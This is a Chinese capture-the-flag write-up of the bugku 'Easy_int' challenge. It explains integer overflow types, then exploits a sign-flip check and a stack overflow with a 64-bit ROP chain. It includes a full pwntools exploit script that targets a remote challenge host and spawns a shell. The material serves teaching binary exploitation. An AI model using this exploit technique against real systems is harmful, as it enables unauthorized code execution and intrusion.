0x00 前言
这次主要分析整数溢出漏洞,分析样本为bugku题目Easy_int。
什么是整数溢出漏洞?
整数就是没有小数的数字。在计算机中。有符号数用二进制表示。表示负数的时候。将二进制最高为来表示数字的符号,最高为是1就是负数,最高位是0就表是正数;当然,还有无符号数,也就是没有负数。当我们尝试将一个数字范围为0-255的数字。输入256时。就会溢出,返回0;输入257时。返回1。
当有符号数溢出时。会从最小的值开始,-xxxxx然后依次+1,以下是各类符号范围大小
类型 | 大小(byte) | 无符号范围(unsigned) | 有符号范围(signed) |
---|---|---|---|
char | 1 | 0 ~ 2^8-1(255) | -2^7(-128) ~ 2^7-1(127) |
short | 2 | 0 ~ 2^16-1(65535) | -2^15(32768) ~ 2^15-1(32767) |
int | 4 | 0 ~ 2^32-1(4294967295) | -2^31(2147483648) ~ 2^31-1(2147483647) |
漏洞危害
数据截断 当发生溢出时。数据会被截断。 例如:a、b、c为3个8位无符号整数(char),范围大小为0-255: a = 11111111 b = 00000001 r = a + b = 100000000 由于a和b相加的值超出了8位。发生溢出。截取8位。r就变成了0
宽度溢出 当一个较小宽度的操作数被提升到了较大操作数一样的宽度,然后进行计算,如果计算结果放在较小宽度那里 那么长度就会被截断为较小宽度。比如一个32位的运算结果。放到了16位寄存器。那么就会取后16位
改变符号 有符号整数溢出时。就会改变正负。 0x7fffffff+1 = 0x80000000 = -2147483648
无符号与有符号转换 将有符号数赋给无符号数后。会从-1变成无符号数的最大数 当把无符号数赋给有符号数,会从无符号数最大数变成-1
0x11 分析思路
第一步checksec
看到只有栈保护,然后使用IDA分析
这里很显然需要进行整数溢出,因为NUM的类型是int(一般默认为signed),所以最大值为2^31-1 = 2147483647,所以溢出值为 2^31 = 2147483648,就符合上面的漏洞三,改变符号:因为2147483648超出最大值了就会变成 -2147483648,取反后还是超出最大值,然后又改变符号再次变成 -2147483648。使用计算器可以轻松看到这一过程。
接着分析vuln函数:
明显的栈溢出漏洞。
0x12 攻击思路
经过分析可以得到如下攻击思路:
先输入2147483648整数溢出进入vuln函数
获取buf的栈溢出偏移(填充字符量)
寻找popedi(使用ROPgadget)
找到"/bin/sh"字符的地址
找到system的地址
构造payload(ROP)获取shell
因为这里分析的是64位的程序,所以不太方便使用cyclic工具寻找偏移,使用IDA查看更直观:
所以offset = 32 + 8 = 40
使用ROPgadget --binary ./pwn --only "pop|ret"
获取popedi
获取 "/bin/sh"的地址,pwntools、gdb、IDA方法太多了,IDA刚好开着的就用IDA查看吧(量身定做的gift,\手动滑稽)
system的地址也一起用IDA查看了吧
0x13 64位ROP
在前面的文章中分析过32位ROP,一般形式如下
payload = b'a' * offset + p32(system_addr) + b'\1\1\1\1' + p32(binsh_addr) #平衡栈
payload = b'a' * offset + p32(system_addr) + p32(binsh_addr) #不平衡栈
因为32程序是采用栈传递参数的。大部分情况下为了保险起见还是选择平衡栈的写法比较好。
但是64位程序则不一样,它是寄存器传参的。
64位传参约定:前六个参数按顺序存储在寄存器 rdi, rsi, rdx, rcx, r8, r9 中,参数超过六个时,从第七个开始压入栈中。
pop edi语句是将当前的栈顶元素传递给edi,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system。
所以64位下构造ROP链的形式如下
payload = 'a' * offset + p64(pop_edi) + p64(binsh_addr) + p64(system_addr)
0x14 exp
from pwn import *
import sys
context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']
#本机环境
if sys.argv[1] == '0':
p = process("./pwn")
#远程环境
elif sys.argv[1] == '1':
p = remote("114.67.175.224","16139")
offset = 40
popedi = 0x401343
system_addr = 0x401094
#system_addr = 0x4011f0
binsh_addr = 0x403500
intover = 2 ** 31
payload = b'a'*offset + p64(popedi) + p64(binsh_addr) + p64(system_addr)
p.sendafter(b":",str(intover).encode()+b'\n') #结尾的回车不能少……
p.recv()
p.sendline(payload)
p.interactive()
出现意外:执行后显示EOF
看提示信息应该是返回地址构造出错了,经过调试发现是system函数的问题,会进入异常,这里更换system的地址,使用vuln函数里的call system:
成功!注:这里是本地环境。